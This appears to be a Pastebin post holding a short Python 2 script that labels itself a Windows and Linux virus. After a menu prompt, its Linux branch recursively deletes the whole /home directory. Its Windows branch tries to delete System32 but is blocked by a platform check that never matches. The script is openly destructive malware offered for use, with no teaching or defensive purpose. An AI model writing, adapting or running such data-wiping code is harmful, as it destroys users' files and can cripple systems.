dauzcode

python simple vrus

Jul 4th, 2012
60
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.63 KB | None | 0 0
  1. #!/usr/bin/python
  2.  
  3. import sys, shutil
  4.  
  5. print """
  6. ----------------------
  7. -----+_) Windows Virus And GNU/Linux  (_+---
  8. ----------------------\n
  9. [1] WIndows  
  10. [2] Linux
  11.  
  12. """
  13.  
  14.  
  15.  
  16. def Linux():
  17.     try:
  18.         if sys.platform == "linux2":
  19.             shutil.rmtree("/home/")
  20.         print "Success"
  21.     except OSError:
  22.         print "please try again it is not a directory"
  23.  
  24. def Windows():
  25.     if sys.platform == "win, win32":
  26.         shutil.rmtree ("C:\Windows\System32")
  27.  
  28. pilihan =input("choice 1 or 2 ?")
  29.  
  30. if pilihan == 1:
  31.     Windows()
  32. elif pilihan == 2:
  33.     Linux()
  34. else:
  35.     print "You Mush choice 1 or 2 !!! "
Advertisement
Add Comment
Please, Sign In to add comment